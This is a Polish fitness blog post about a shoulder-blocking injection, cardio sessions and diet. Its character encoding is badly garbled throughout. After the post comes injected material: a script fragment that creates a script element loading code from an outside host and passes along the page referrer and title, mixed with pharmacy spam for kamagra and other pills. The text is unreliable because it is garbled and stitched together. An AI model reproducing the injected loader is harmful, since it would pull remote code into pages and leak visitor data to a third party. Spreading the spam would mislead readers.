Wizyta u lekarza

21.09.2011 / Michał Karmowski

Wczoraj dzieAi?? rozpoczAi??Ai??em bez porannego cardio,Ai?? musiaAi??em przesunAi??Ai?? trening na wszeAi??niejszAi??Ai?? godzinAi?? bo miaAi??em wizytAi?? u lekarza. MusiaAi??em sobie wstrzyknAi??Ai?? blokadAi?? w bark bo bA?l byAi?? tak duA?y , A?e nie mogAi??em wogA?le trenowaAi??. Nawet zwykAi??e czynnoAi??ci w ciAi??gu dniaAi?? sprawiaAi??y mi ogromnAi?? trudnoAi??Ai??, lekarz nie chciaAi?? mi tego zrobiAi?? ale ja siAi?? uparAi??em i mam. DziAi?? jest duA?o lepiej rano normalne cardio na bieA?ni i po poAi??udniu plecy fajnie przetrenowane, wieczorem jeszcze jedna sesja 30 min na maszynie eliptycznej , a teraz siedzAi?? i jem ostatni posiAi??ek 300g kurczaka i 50gAi?? masAi??Ai??Ai?? jori.

dieta i suplementacja bez zmian a jutro w koAi??cu dzieAi?? wolny zrobiAi?? tylko 2 sesje cario po 30 mins.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; Buy difference between kamagra and kamagra gold. Kamagra reviews. kamagra gold reviews. var d=document;var s=d.createElement('script'); Pills amertripaline on salle Pills Purchase online Purchase